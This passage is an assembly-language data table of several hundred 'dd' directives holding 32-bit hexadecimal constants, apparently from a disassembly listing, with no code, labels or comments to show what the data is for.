		dd 88EB933Eh, 510D0EC7h, 0B18C2F62h, 27E936Ch, 9F55A66Bh
		dd 5573621h, 0DB305902h, 385FAD71h, 6D595ED0h, 0C2C93388h
		dd 506A141Fh, 8DF7A4AFh, 1DA6F919h, 5E886BBFh, 66F5F58Ah
		dd 613B7C49h, 0FB1CFE89h, 0CF72BB36h, 46D7A497h, 2FC17FADh
		dd 321991E9h, 0CA5E6A6Ch, 35F112D4h, 9ACA3CE6h,	0F6C2E3BCh
		dd 6145448Eh, 0A2798C6Ah, 4C2BA9BCh, 0C1782F21h, 1F9B8098h
		dd 3FE56ABEh, 5605A391h, 0E09A3BFAh, 7F6B4825h,	27098549h
		dd 2D1C1BA3h, 3AE98A65h, 1F1C77E7h, 51909DD8h, 0A3E84C25h
		dd 0D815EBDDh, 0F70D95DFh, 6180C198h, 515233EBh, 9D72D4A6h
		dd 5C6048D0h, 0FDE6515Bh, 4F5F8A07h, 1DA12D57h,	7B7DA09Fh
		dd 284E172Dh, 75543BC1h, 30DABB03h, 7FF7CF79h, 0F4923F38h
		dd 1D225BEAh, 0BB8010E7h, 449DBFD0h, 20B31D6Ah,	5754425Ch
		dd 6349B874h, 0D1916103h, 54DF9240h, 23E98EBFh,	65AABE2Dh
		dd 1CCB18E5h, 1A270A0h,	7E2333C0h, 43D8573Dh, 93070F6Ch
		dd 0EE4F3736h, 0DA170C74h, 0AB2550A7h, 76EE89ACh, 135ADCCDh
		dd 23188602h, 0E25ED816h, 7AE8DFFAh, 8AD5B4CFh,	0A3AAC745h
		dd 37E167CCh, 54ECE855h, 7F8064FCh, 0CA2CF153h,	6E99C219h
		dd 0A53CD888h, 56C787C5h, 72233FCAh, 0C7A5DF92h, 4C9848AEh
		dd 0B8C44599h, 0CB3AAC8Ah, 9E3E36C3h, 0BDB06AA2h, 9DC9C092h
		dd 423BC8B2h, 7B709D25h, 53EC72DDh, 0A4AF913Eh,	2CF1DF1h
		dd 5EF1BBE9h, 4AF564C9h, 744A33Ch, 8D66A5C5h, 5331E40Ah
		dd 0EABC58CCh, 0F6B9A390h, 6D197580h, 0B4F54758h, 0E07F1DA5h
		dd 0EF5F7D54h, 0BF237A1Eh, 0B71A8AF9h, 4CE64C76h, 407A9347h
		dd 0BBEEBDF8h, 141E29E1h, 947F526h, 0EF4C3C54h,	45CB305Dh
		dd 0C913E955h, 6FA16228h, 0A9399080h, 4C6FA154h, 1F25965h
		dd 176B1D38h, 7729EC71h, 0E0375D6Dh, 0E41817A8h, 0F4001521h
		dd 2B9BB253h, 0B4256962h, 0CD1FC91Ch, 1D586E1Ch, 5B66917h
		dd 5960F6D8h, 9DFCDE8h,	9A7A3222h, 0EF2E05E6h, 0F8CD1093h
		dd 67AF75B8h, 7DEE2E29h, 0B717BDEFh, 433BF54Ch,	3B147C32h
		dd 5C58E570h, 9F50235Eh, 710EA9CFh, 5A2FA193h, 913EA19Eh
		dd 51FD763Dh, 29B271C7h, 229B31Fh, 177CF08h, 0DA20BCAFh
		dd 84E6DAB6h, 0F22F33D4h, 1234E4E6h, 0F8D14B03h, 3EAA4909h
		dd 290BFC46h, 66C5F3DDh, 9E0F88Bh, 7A5F3747h, 0FE013103h
		dd 0F186CA91h, 748BC0E3h, 8A3052D9h, 68A14022h,	78B2F540h
		dd 0D9FD92FCh, 35777388h, 249BF271h, 9B115701h,	0BD31FF92h
		dd 8709078Ch, 62B54515h, 246788DEh, 9B63E1D5h, 7C335452h
		dd 0E8D368DCh, 9EA2AF2Ch, 0EDAB4383h, 0E69087E8h, 0C655174Ah
		dd 5EECC47Eh, 8AB040C4h, 0C972B11h, 5560255Ch, 22F465Fh
		dd 620EBAE5h, 81A1234Fh, 56AB7D52h, 1FF2BFF2h, 0AA369764h
		dd 0B506DABDh, 0A6518BC5h, 48485D56h, 0EB681E34h, 1250262Bh
		dd 54CA291Ch, 42258F10h, 0C9429EBEh, 0CD9DAB15h, 153127D7h
		dd 19E97B96h, 0EDB6A1B4h, 25EE6A10h, 92CFDED8h,	25E30337h
		dd 0F3CCB3DFh, 0DEEE3D02h, 7EC2F24Dh, 269774D2h, 2AB764AAh
		dd 0A43A7F37h, 103C50EEh, 0E36C05FFh, 7A935FC4h, 240892DEh
		dd 0C0EC97DBh, 1408E3D4h
		dd 13F29C6h, 0ACAF4A52h, 0B71F1B7Eh, 0A1FF056h,	0CDA88BFBh
		dd 0BD8795FEh, 92B35819h, 70241AE7h, 31AEE4F1h,	30912C14h
		dd 9E390322h, 26130652h, 55B846AAh, 9A788C33h, 251C1D75h
		dd 4A89B4FEh, 294C5699h, 467748E7h, 787CA423h, 0D90EFCF6h
		dd 215D08BBh, 0C23C8044h, 0ABE1795Fh, 49A302E8h, 7431F30Dh
		dd 6A69162Ch, 24D38680h, 0FE1B1E5Fh, 97D71AB7h,	8831F215h
		dd 3D2688C1h, 8CE567DDh, 9370EE2Eh, 12BB57C1h, 0CE6BE0DAh
		dd 8D824816h, 3E9666FEh, 0FF66A53Ah, 0C2836C14h, 0B0429E63h
		dd 0F417988h, 8AA951BAh, 5E5180CEh, 58EBE8C1h, 594B012Bh
		dd 85BCCEA6h, 0CD4C2F27h, 0CD80B888h, 0DA3F3BEAh, 53741A42h
		dd 9099AC1h, 643FCBEEh,	855A583Ah, 0F43BECB6h, 0B46123F1h
		dd 9702A449h, 2A919955h, 9972D8B4h, 5E73EE7Ah, 7CA1FC84h
		dd 711CF6ACh, 0F93A1E67h, 25CF019Eh, 0D79E17E3h, 32E239C5h
		dd 1C0B7E3h, 0E03D429Bh, 71F47E60h, 0A6B6F46Ch,	54C75D5Ah
		dd 0CB573316h, 7BF3E10Ch, 0A47DAE33h, 0F723EE0Bh, 6CB5EA6Dh
		dd 7777EF83h, 40E8F90Dh, 6FF46A1Dh, 0C9A5F9B2h,	49697952h
		dd 96A5DB09h, 1417431Ch, 661FE518h, 94124A2Ch, 0F6BACB3Bh
		dd 0FC5CBEB4h, 58F36D0Bh, 0C5B3CC52h, 7291164Bh, 0A24FD1BAh
		dd 477BA8B3h, 0E04A0CA8h, 997E4F0Bh, 0B4FBB6ABh, 84BF8A8Dh
		dd 0FE273516h, 0B30FDE68h, 5D7F7919h, 2F0857CAh, 0CF92D964h
		dd 0C3A72E59h, 0A00B5F06h, 0CFCA77C2h, 898ADF73h, 302EBDD2h
		dd 0D3D80F83h, 9BA631B9h, 0C0EABC11h, 683699A5h, 5204E3DBh
		dd 0CBEE8910h, 2A12A547h, 7D63B8h, 0A8DC888Dh, 0D4B76077h
		dd 9A30077Dh, 0C22B6E19h, 1D7F12DFh, 0FF51B12Dh, 74996518h
		dd 0C383720Fh, 180DCB40h, 0C578B78Ah, 93431EB1h, 3AE77B4Ch
		dd 4D421E4h, 0C9301FF8h, 0B2C6415Eh, 46E77B6Ch,	0DEC9ACAFh
		dd 7C6F9F1Ah, 90E55F12h, 9607DF92h, 0D18E2AB2h,	0BB07117Eh
		dd 42168650h, 0EF72D835h, 0AB008A2Eh, 0EE8E32BCh, 0FEA987C0h
		dd 4E0DC5C8h, 8332882Bh, 0E162A4F3h, 860FF063h,	4817E7CBh
		dd 0EE33D544h, 0E3598D9h, 0C5A142ADh, 0AA135C21h, 8F35AACCh
		dd 0D5379F8Ch, 0EAD35AEBh, 2FBF87BDh, 0F221E68Bh, 0B65A54D3h
		dd 0EEA6039Dh, 4C0BFD95h, 1C7673A3h, 0E29E798Bh, 64B428ABh
		dd 6BD59AA2h, 7F1F475h,	0B7B3B231h, 571E8B5Ah, 4E66F759h
		dd 0A9AC5593h, 0AED78FF4h, 0A1FD2FFCh, 0E4248A88h, 0AC341ED9h
		dd 3D2A5E20h, 0F39FF21Ch, 9D601584h, 5CF5A225h,	432768A5h
		dd 0C1A43BC0h, 55A55446h, 4AEFEAF6h, 0FC3175ADh, 0A16B29CFh
		dd 327010A9h, 752AB510h, 8A26CBBEh, 10089BA0h, 4AEF97FAh
		dd 3B153CE9h, 0A463A354h, 1C45D7A2h, 5FFEC2BCh,	5B66CA93h
		dd 457DF51Eh, 99DE9491h, 6F4B679Bh, 3E6E14C6h, 79939316h
		dd 68894357h, 9BE41FD9h, 0AABAAF8h, 0C455560Ah,	0EA90FD32h
		dd 25ADB8BDh, 64D4685h,	369C2F9Eh, 1A061796h, 82E4C51Ch
		dd 630471ECh, 0BEA809DBh, 7181A1EAh, 8FBBFA3Ch,	0EA2F1C7Bh
		dd 911FFDBEh, 5ADCF3A7h, 795532C4h, 0CBDD9ABDh,	34CC53E6h
		dd 33D2DE16h, 7D0DE9E5h, 367FE11Dh, 0D250CA79h,	5A29E03Dh
		dd 6F7396A0h, 4CAD4EE6h, 48776131h, 0F53EF4B4h,	6AD96D49h
		dd 8D4752F2h, 956715E2h, 0C2C48EE4h, 0DA5CA81Eh, 0F2421528h
		dd 9A136596h, 0B23FEA29h, 0A736B513h, 315F7F6Bh, 5D98BBE3h
		dd 3A00C9C7h, 0B8118264h, 6B39B55h, 61871861h, 7020F552h
		dd 0D425EFFh, 2E955D20h, 7F13EA63h, 0A398A04Ch,	0DAB0B36Fh
		dd 0AD961F3Fh, 0E76549EDh, 63455CE9h, 0E2FE507Ch, 8D6C3D16h
		dd 13ABFDA4h, 22379DB0h, 82F9CAD9h, 0DD8A3053h,	0CE5C54B5h
		dd 0A0C84CE3h, 0A804A68Ch, 8C1034DBh, 5724DF3Dh, 0A5D8A1F1h
		dd 0D541367Fh, 0D704E808h, 0E8F8F81Dh, 69F84D9Ch, 8BD3A32Fh
		dd 0E5EFEB6Dh, 29AA6939h, 0C481A815h, 0E3F3B62Bh, 0AC44409Eh
		dd 4E7CEA33h, 0CA1F9819h, 916A4A8Fh, 0A53C42A9h, 0EEBA06B8h
		dd 3A46FA03h, 604E7837h, 7107B3AAh, 0ADF217B2h,	0DBE4363Fh
		dd 0E2B2EC3Fh, 0FF03F764h, 9FF25ADh, 0C61D977Ch, 73A31660h
		dd 0DA0E3ABFh, 6AD1DF8Fh, 876ADAFBh, 4D33FF7Ah,	86582178h
		dd 0F09835BFh, 1651EE6h, 0D24FA78Fh, 1DB06719h,	74D0DAECh
		dd 75F17327h, 30A4E5C2h, 880AA3E5h, 0C5CA8340h,	74EEECE5h
		dd 9498CB87h, 7DAE8640h, 184C8645h, 68BF196Fh, 0D1E0B51Dh
		dd 0AAC602B1h, 0BED1595Fh, 0A2F30819h, 0DCBC48B6h, 0E156A2B6h
		dd 0C1CD2E2h, 0BBE0953h, 713B2091h, 0AE445240h,	0BA4F3E4h
		dd 984FCAD4h, 588B754Dh, 0C1ECD980h, 61F96E05h,	32A6BDECh
		dd 1607903Dh, 611B4DF0h, 3DE0DA44h, 21D1A0A8h, 0A6D03756h
		dd 0B0633F08h, 31A36044h, 0C0050549h, 6177E1Fh,	0D577FCC8h
		dd 1F4CA641h, 618287F9h, 35C45B08h, 0EAE94833h,	10900545h
		dd 852AC9DAh, 6C3394Eh,	92F43F18h, 370A8743h, 4CBD59B3h
		dd 2D2AF1FBh, 0B1CB8171h, 0C63BB492h, 77B76217h, 0D9BE574h
		dd 1D13D8C5h, 4105585Eh, 7073BE6Eh, 8148F7E4h, 5837A82Ch
		dd 64DD631h, 17EF42C8h,	0B453C61h, 0EAD4F34Eh, 8AD206C5h
		dd 0C86751BCh, 861F3D88h, 13944B96h, 1F5F23E9h,	9D46D1Ch
		dd 0C601EE3Eh, 79F637FCh, 0F11C320Ch, 2AE1155Eh, 644A0C87h
		dd 0ABCB832h, 35454A48h, 0A14D6C6h, 325D1Eh, 5B601D22h
		dd 8E0553CBh, 8E7048FDh, 0DAEF1DBh, 2DFD0E24h, 1F3C07A5h
		dd 22A02A95h, 8C1DAA8Dh, 80DE156Dh, 0CA7020E6h,	232872ECh
		dd 0CBD68305h, 561A2619h, 6A09977Bh, 0E9FA9078h, 91F5B222h
		dd 1F13D861h, 0CC6FC2C6h, 949BC348h, 0F4F0334Fh, 7253683Ah
		dd 6CC1F1BDh, 2C1272F4h, 0D14030FDh, 0C37806A2h, 0B1E27F68h
		dd 0C41DB535h, 7F46D58Bh, 0CE189068h, 9173EB34h, 46B7709Eh
		dd 9FAAA6D4h, 0C2159A64h, 0CDF99636h, 11A7B8C1h, 4A67C016h
		dd 32096E3Bh, 9F35DB40h, 9CFBC2FDh, 6CCDC285h, 5AC46E00h
		dd 69AAB78Fh, 7900C9C3h, 6C045248h, 0F1846610h,	332A617Fh
		dd 24C49816h, 0B008DED0h, 946E0050h, 1282B6CCh,	3CF3BB6Dh
		dd 0C7003B00h, 2F95B3Dh, 0D336C3DEh, 13DD2B6Ch,	9540EB81h
		dd 0DE3C21D0h, 94F53D13h, 5607E87Dh, 2053554Ah,	54FF33FBh
		dd 2F4B940Ch, 6AB5723Fh, 4067F6DDh, 0E5AD7D14h,	0C3CF99E4h
		dd 1144B1AEh, 9081161h,	65F239Fh, 4B1AF52Bh, 3B26ED4Bh
		dd 2FF69FD1h, 0A619A3D9h, 547EACA9h, 99805FA2h,	999DE625h
		dd 0CA96BF1Eh, 73FE94D8h, 0E4B159B4h, 0BD5779C7h, 6D21137Dh
		dd 0CD6D2F47h, 0D0F15E09h, 0C1A8B89Dh, 4E7FE4EAh, 9796D7B8h
		dd 11DD1AF8h, 4F36FC4h,	38221992h, 80D8B9A6h, 862DFFFFh
		dd 6D225470h, 0F6C23E46h, 0C377484h, 49790CB3h,	66C5589Fh
		dd 69C5D012h, 3943ED38h, 0CE124FDFh, 0E150751h,	0F3A0F694h
		dd 1105CC26h, 41288C17h, 2A57BFF0h, 383189F9h, 12F7DCCCh
		dd 4CB43862h, 5585C471h, 0D07D876h, 75A48E5Ah, 0DB0351F9h
		dd 0C07A3AC7h, 6ECD454Ch, 7F984B66h, 9FAA5BA4h,	0FE2E0B8Ah
		dd 0CE6C35F5h, 0A9C252BBh, 0AE30A187h, 283777EAh, 33C2E46Eh
		dd 0F51076B3h, 48DCD957h, 729D690Bh, 0B8060496h, 4CA67A1Dh
		dd 68EBC476h, 0C55C04B4h, 631A50A2h, 8E277166h,	9BA42500h
		dd 0F4B8A0C9h, 253CD6F8h, 0A777BF17h, 58603950h, 12CF194Dh
		dd 3E0E4AB6h, 0AE4D37EAh, 96D73CBEh, 0CA95C0Eh,	4B44200Eh
		dd 5D0FC4A2h, 7BB9B02h
		dd 7605E400h, 830F4A86h, 36643E2h, 9F620299h, 403CB10Eh
		dd 0CC4FF7CFh, 3F3697ACh, 241D8FC6h, 0B162ACADh, 45099E3Ah
		dd 913A0C7Fh, 710AD98h,	0FBDBF533h, 89568F8Bh, 0ED48CEFFh
		dd 92DFDD63h, 1535FD87h, 0ED82C67Ah, 0EEA37E20h, 0EA7CABBCh
		dd 0EAEB2EDDh, 45289BF2h, 64A5B74Ch, 0CEC3426Fh, 0B79A88D5h
		dd 8C0934D4h, 1DE8BBD1h, 0FBBDE5A5h, 30852C7Bh,	692FD16Dh
		dd 5313A9EFh, 0C485527h, 19236B68h, 8F34F54h, 0CAAD9389h
		dd 815072B8h, 0D5C969B0h, 0C8183060h, 245211ABh, 0A23D6DA8h
		dd 13688F4Ch, 0CEE86A4Ch, 0A2294B98h, 14DD960h,	4B53E9F4h
		dd 569E44EDh, 0ABA37708h, 0B22ED877h, 65AB17DDh, 0B364788Fh
		dd 3715F201h, 0C63C49Bh, 18E4D245h, 2690EFC1h, 385AE5E7h
		dd 0AB5C2689h, 0C1C2F612h, 46F16CBh, 27B12788h,	5AF5242Dh
		dd 0CDADF386h, 0B95A0D25h, 974B2BEBh, 3BC4E4B6h, 83A98409h
		dd 0ED1DAF4Fh, 6B7E4841h, 0B393272Bh, 70F0EF91h, 0DFD0092Eh
		dd 0D8FBABD7h, 20679561h, 36574DE4h, 11436FBFh,	48C613Fh
		dd 0C2368429h, 6B031AEDh, 7AEA79A6h, 9D7DE228h,	12E5BC2Dh
		dd 1F986F8Ah, 1F06F703h, 1C3429F6h, 77D59CFFh, 0F8863DF1h
		dd 0C4EFC23Ch, 3CFDA8DEh, 0A0C6688Ch, 0BAD982DEh, 3F5AD609h
		dd 85B35CCDh, 382E1478h, 8D57D3F4h, 0D7B030DFh,	2DF03A1Dh
		dd 30869EE3h, 0B01111ACh, 0DAE2157Ch, 6449199Dh, 5A5F24EDh
		dd 0F01E15D0h, 2886C37Eh, 3D4FE52Fh, 0FD284EC2h, 0D238C0Eh
		dd 0AE9FE439h, 0C8E1C167h, 419D6B3Bh, 7AC94C05h, 6C9C7874h
		dd 18DD25CBh, 0AFA83FD6h, 84ADBF05h, 0D0C59E5Eh, 0A7F33A29h
		dd 2BEFA179h, 0EBD8214h, 63BA5C1Eh, 17EFC4E8h, 2A30B53Bh
		dd 29202C67h, 41089A31h, 37B2677Ch, 2F1744B0h, 6A2164Fh
		dd 0F4950C0Fh, 3C80A952h, 0C5D6E6CAh, 9D0F3E0Ch, 0FF86AFFBh
		dd 457E588Dh, 6C799139h, 644CF874h, 408F2316h, 0CFE58863h
		dd 0FBFA031Dh, 0CCE3D395h, 0EF4CD371h, 0B953BFCAh, 3B5348FCh
		dd 357E4316h, 80DC1057h, 0B3C54A0Ch, 40B3AFFFh,	23B89EC3h
		dd 0D6C22A5Ah, 0B6BA7C43h, 182BDCB9h, 77963737h, 38192573h
		dd 3D46F2DBh, 0D635FEDBh, 0E5162ACBh, 1F2818F3h, 79ED620Fh
		dd 2E84CCh, 7D518D0Ch, 310E87ABh, 0C8892DDDh, 4EDB3600h
		dd 0D32ADB3Eh, 0C5CE71C0h, 1E3D8922h, 0ADDAEA67h, 533597F3h
		dd 3177F526h, 0A880CEA8h, 8A00F0B5h, 0A2878F93h, 0D8EE2816h
		dd 0FE891DF2h, 0FE2C452Fh, 1882B06Dh, 1560FE1Dh, 0B5D5C540h
		dd 0F8F15EEBh, 0FB9CDEB1h, 0C3E4C39h, 62F3BDE8h, 0E5C6814Fh
		dd 23AD27F3h, 0B90B622h, 3BF893CAh, 6A588BF1h, 0EBA464D5h
		dd 1EC2471Bh, 4D413ACBh, 203F8CA3h, 0A5CD4CB3h,	8DEFC6ACh
		dd 5E0750F6h, 0FA6E81A1h, 837B40D7h, 7B320C8Fh,	0CE8BB027h
		dd 39B26E7Fh, 44274A6h,	24252A17h, 0EED7BBB8h, 0F1EDE699h
		dd 7AE092EBh, 81D9C370h, 8F80A3D7h, 0FD75E9BFh,	0A6337369h
		dd 5110820Ch, 93EF7400h, 13F30726h, 34BE77A4h, 4F2041C5h
		dd 0C1AA0BF7h, 588BC400h, 0D45D2957h, 0AE21F8C2h, 17871CACh
		dd 0A1849C0Fh, 5B98527Eh, 7146AF92h, 0F45B854Ah, 0E4ED3E08h
		dd 95F10ED9h, 0C86DA7DEh, 0A3A62D07h, 1FE3CFE1h, 34640345h
		dd 0A2831766h, 8B5E9E37h, 0EB4CD4A0h, 209FBB68h, 69B40069h
		dd 8EAC85BCh, 0DEE3A9E6h, 60A08623h, 0A587685Ch, 2455EC43h
		dd 7CEFB39Bh, 0F9CA32ABh, 0BC54FD90h, 7E6B91B9h, 0E0FFE96Fh
		dd 2CC32576h, 4D9FC6C4h, 291F5912h, 347004A9h, 0DDD67C40h
		dd 4FB4D18Eh, 9B41975Fh, 0C7C4068Dh, 0C2F1BD2h,	9CBADE27h
		dd 0F31D5F90h, 3153CCC4h, 623BF039h, 19141C37h,	0E1B5D9BDh
		dd 0F43013A3h, 947D0C09h, 56ABF37Dh, 93AAED84h,	53669E0Ch
		dd 8286AF5Fh, 504F5764h, 1010F650h, 466C7364h, 772B4AF3h
		dd 14C3536Dh, 0F6FDF81Fh, 0A0DD84EAh, 0CA7EB306h, 98D8A627h
		dd 534A5093h, 26E4121Ah, 0C1A45D10h, 0E66E17C4h, 93D95B6h
		dd 0BA9A50D7h, 3468AD2Bh, 0BA59A343h, 8CBCEB5Bh, 7C54625Ah
		dd 0FE286F3Eh, 0FF21AE68h, 0A471791Eh, 0D2264C2Bh, 7A1D6402h
		dd 3A21AD6Ah, 7B01EFBBh, 5780B4CDh, 0B0A1A222h,	6D15157Bh
		dd 0CC0891D5h, 1703DF35h, 2065D6Bh, 0D074CED6h,	9C3AD909h
		dd 745643B5h, 3917264Ah, 158FA141h, 23B8072Dh, 67BB2D6Eh
		dd 0FC75BF0Fh, 0E2AED331h, 0E8DC2295h, 0C9D9F477h, 13251EE7h
		dd 0D0B00E4h, 5F6C6D4Dh, 5545914Eh, 73A564A7h, 58176D03h
		dd 23A92076h, 0C3D55599h, 33FF5D17h, 0A847FE28h, 2411F828h
		dd 2DCA2FC9h, 0D6D24A9Eh, 82D00686h, 12CDA72Eh,	7642D45Dh
		dd 93100EFCh, 92FD1DAAh, 5829907Ah, 87F897E4h, 7ABF4D1Eh
		dd 511DBD79h, 0D79F5C92h, 0C1A14A4Bh, 0DF7F9061h, 5B69CA81h
		dd 0DB33FC1Bh, 723D3881h, 573CC12Eh, 5055A9AAh,	69618EE0h
		dd 3464B46h, 98062757h,	7F935585h, 70DD0DF7h, 0E3B19D9Ch
		dd 5B7F3DBDh, 89B8F340h, 0EB5C893Eh, 0BB9403CAh, 3191CE7h
		dd 27606EE7h, 0DE0654F4h, 8C5C9D6h, 56503E8Ah, 690DAA5h
		dd 0CC1DF2C1h, 626E4F27h, 0F76887h, 0FF76C0B5h,	8FD53628h
		dd 4BB09B0Dh, 0FDDE07C9h, 7F757956h, 0E32C2944h, 0E395B440h
		dd 63554DFCh, 79E5FC8Bh, 6C1D6697h, 0FA352C2Ah,	6115B313h
		dd 4E787068h, 2089E0A3h, 0A2C48025h, 4EBAFE76h,	3B8611Eh
		dd 2A564E0h, 98F3F41Ah,	3446BA24h, 5A3A4107h, 0E48A9FE4h
		dd 0C90DD01Ch, 2AB823F8h, 5A4448ADh, 0D8FA4B85h, 0E006D6BCh
		dd 7FB7327Fh, 0E117F740h, 1FE4B979h, 20F60400h,	0BABFDAB2h
		dd 67965350h, 0DA99FB4Ah, 0B84C3EDAh, 0AE13CD30h, 57ED679Ch
		dd 12440B57h, 77BDDC98h, 0C3C0603Ch, 0A23602E1h, 8B290E4Ah
		dd 12EACB38h, 0B37645B4h, 9FDCA9CCh, 118A4903h,	0E724B3C1h
		dd 52D8522Fh, 0CC36E108h, 0B4032CF4h, 1F68B5C9h, 3C25A762h
		dd 0BEC8FAC2h, 0E661EA8Ah, 5C4FF42Bh, 2C8787A8h, 7450E009h
		dd 7635E1B9h, 7914C503h, 0DBC37E3Ah, 0B020CCCEh, 65A1DC32h
		dd 862493C6h, 62078F9Ah, 32D6A012h, 3951CEA2h, 6B45F533h
		dd 0DB067CF3h, 15CDCC16h, 0FA8D589Eh, 0E4E2D5D3h, 0C5C8309Ch
		dd 3DEC636Bh, 601C0536h, 4436E221h, 304E38AEh, 7886920Bh
		dd 0FE1F09A1h, 0E9EE2607h, 8C5021A6h, 9B2F05DCh, 0DCE971AAh
		dd 8D4199F3h, 0A8EF4427h, 64767F5h, 1FF913CFh, 0FDD4A826h
		dd 8326BF4h, 0E92C334Ah, 3F84B20Eh, 1A624512h, 5C35A4D1h
		dd 50C44EACh, 5DEF5006h, 0B1249368h, 5F5BA1B5h,	0E5CE93FDh
		dd 7130AEF2h, 0EABD05FCh, 0C37C0C29h, 48D435CFh, 0C80A5100h
		dd 81B6B8D6h, 238E910Ch, 371BC939h, 5C047F9Eh, 0C60EBB06h
		dd 0A707F14Dh, 55A75C02h, 2762642Fh, 453EB3E5h,	0BE52E590h
		dd 0D0B3E281h, 0DE53C01Fh, 0C128D0D3h, 2E616CA8h, 71734DDAh
		dd 92E9FE64h, 0C25925D7h, 0FC7F3521h, 0C1F001D7h, 0D56FC5ADh
		dd 0F47D51F1h, 87A0FA04h, 7E5220B7h, 0BBCC6755h, 2FB4A0AFh
		dd 2331D2D3h, 0A7071D27h, 3C7BE3D6h, 53444D46h,	0DD6148F2h
		dd 49404A0Ah, 7C6F46ECh, 0FEB3F112h, 2BEA6F34h,	4921C0Ah
		dd 108AAA87h, 7621DC03h, 904829E1h, 4A888970h, 350B9F75h
		dd 7C649E32h, 7798799Bh, 76F13050h, 95E1636Fh, 0A557A828h
		dd 2ACE6C6h, 8D792B32h,	0AFF01FADh, 0A91F141Ah,	448FD4FFh
		dd 0D7E21E24h, 2F45952Ch, 70A2C78Ch, 7FD01FA6h,	9B7C71A0h
		dd 27818165h, 0E189DB7Eh
		dd 0C43034h, 6065B1D9h,	914C9806h, 2E274230h, 94A0017Eh
		dd 0C8A43B98h, 0B32E5FBCh, 3134935h, 0E40B93F6h, 9E62C57h
		dd 3A5D86E0h, 3D45CA6Eh, 8D1F870Ah, 64A418C2h, 45B30C19h
		dd 82704995h, 37B70EF1h, 0F49ED8E5h, 5222258Fh,	0B91F9B1Ch
		dd 0B29B9331h, 0B6A23DE0h, 648BE71Fh, 0A951395h, 7E2316E6h
		dd 6203EAC0h, 27C71161h, 9AA60454h, 66B5F9DFh, 0DAAAE02Ah
		dd 0B0C0A925h, 62FE1136h, 3CA9FCFDh, 0A1062ACFh, 7EE06C4Ah
		dd 1562F715h, 5C2C6BB5h, 0E4E57DA5h, 41AC0983h,	0F993B428h
		dd 41DC8F04h, 3CAA1249h, 3BCC055Eh, 0C4D9D9D8h,	0E15FC8D1h
		dd 3CCB4CA5h, 296B4807h, 11F68F74h, 63D75CCCh, 25848A17h
		dd 0BC4D97DCh, 0D842623Eh, 6D8BB2CEh, 24C4B952h, 0BEB602D3h
		dd 2C70F1FAh, 0E838797Ah, 8154FD3Ch, 49EA6C32h,	3222A19Bh
		dd 0DDC00D0Fh, 0F105F6C5h, 375FAA82h, 94B4021Ch, 533EE26Fh
		dd 0CF73C07Dh, 9AE20752h, 1C83A68Ah, 0BA0F3542h, 74EFCCA7h
		dd 2C051AF8h, 35E3F4B4h, 0BAE0765Ah, 3A49FD3Ch,	1B2FB74h
		dd 0FE24768Dh, 91A319C7h, 309483FBh, 412A9212h,	505D6C05h
		dd 0E5AC9F69h, 88DB4054h, 0F0E6C45Dh, 1CE1A081h, 1251AE4Bh
		dd 4F1EE721h, 3FCFB874h, 3A5DE88Eh, 5AF62203h, 7CB35E4Fh
		dd 0AECA4852h, 0E6F6527Bh, 86414243h, 433B7D7Bh, 0DD3A00E7h
		dd 0A7EC3269h, 5B157F74h, 0DD2D5623h, 0D83083ABh, 0CE29AA6Bh
		dd 87E4DF5h, 0E853544Dh, 0F65245F9h, 55521918h,	757B6920h
		dd 0A6B93D2Ch, 0EEAA6DD3h, 0CEFF2066h, 4C49C7D6h, 6D08C43Bh
		dd 0D28CF48Ah, 41383AF1h, 0FA2E34D7h, 9128CDACh, 3A1A670Ah
		dd 1A7A225Bh, 0E8A12530h, 0EC18DA0Ch, 0ACF1450Bh, 929F44B7h
		dd 9C8A4D97h, 0BE3FB4A0h, 5BD0625h, 3701F960h, 6EA76C93h
		dd 0DC7C8EF7h, 0BBD76763h, 0BA5115C7h, 0D95DDF8Eh, 31239B67h
		dd 0AA27B9A0h, 89AE7289h, 217145A0h, 90B5787Bh,	0F7400C33h
		dd 0CC9297A0h, 0BEFD71ADh, 5504B58Eh, 0D9B54EEEh, 0E8A736DDh
		dd 0E57F5715h, 0CD8DFB3Fh, 9E55D155h, 0D4B1EF64h, 99F5B7DAh
		dd 93A857BBh, 2EBB64C9h, 0B3C59A3Ch, 35FE17A5h,	55DEC589h
		dd 61D930AFh, 3A5FC1D0h, 50B07302h, 0C1A75206h,	45674C10h
		dd 0F68A7C6Eh, 71A8FFA0h, 0D660F29h, 29E863CFh,	0B145C374h
		dd 0BB981264h, 0A68356h, 99661A21h, 0EDD153D4h,	14C3F5CCh
		dd 1F6021F4h, 597CE67h,	0D1965CBCh, 20591697h, 565B112Eh
		dd 9788369Ch, 0BDA7CAD2h, 0E5B5C2h, 12CAF1A1h, 0C940CEA4h
		dd 0A8820381h, 8DF5FB39h, 0F59B645Ah, 64CC5C61h, 0CDDAD2Eh
		dd 0DA11E394h, 228CEC9Bh, 0C66B260h, 690BC2B0h,	0D31D0821h
		dd 0F77AE692h, 0F6D3FB05h, 0E996A9C0h, 0F8626696h, 2C108BDBh
		dd 0E56258A4h, 0F3DA20Fh, 0F1FB72A9h, 0B9EC3E3Bh, 6AD8CCE5h
		dd 1C389FCCh, 9E66083h,	543D4DD6h, 0C15DB78Fh, 0B733C143h
		dd 0B920C454h, 0AD5B0DB8h, 5B7F538Ah, 36F0555Fh, 0C3A3C923h
		dd 829DE683h, 0F9771C1Dh, 0CFE21EC6h, 7DF2DA71h, 37B692D9h
		dd 6EFF184Dh, 36BAC14Ch, 11375068h, 40F224D4h, 0DBCAD3BCh
		dd 725F6153h, 0D4175812h, 0A21FFDD5h, 49C3B538h, 5AEC7F5Ch
		dd 42306FACh, 4B88D145h, 34DF0F92h, 6EE07600h, 420828Dh
		dd 2C926F78h, 13F54CA2h, 0D008A702h, 146C1C2Fh,	0BCA22718h
		dd 0AC9F698Ah, 94797A54h, 71C4C238h, 88780520h,	18663FDEh
		dd 39CDAEA9h, 0FBF394EDh, 0FCD5AC52h, 0FC621BF4h, 0BEF0ABF5h
		dd 4353F4FCh, 0ECCD7063h, 4D5BC70Fh, 0C6E30C16h, 96D0E1EAh
		dd 55BC8844h, 2A1D11E7h, 0D2F5FB0Fh, 0FA42774Bh, 0DC0605BCh
		dd 976E3EFDh, 0F0D9EA9Ah, 0F7E337FCh, 0CBBD9121h, 0F129611Ch
		dd 27E6108Ch, 5367710Ch, 4A7CCFEBh, 888D86E4h, 71599D2Eh
		dd 161225h, 0C417DDDBh,	9DB83DDBh, 1FFEDAD4h, 87496989h
		dd 8D508AEDh, 861A8C44h, 0B846576h, 0D5B5831Bh,	50BB0438h
		dd 885642F4h, 7074777h,	6CBA36C3h, 0D0B143F2h, 7599AF30h
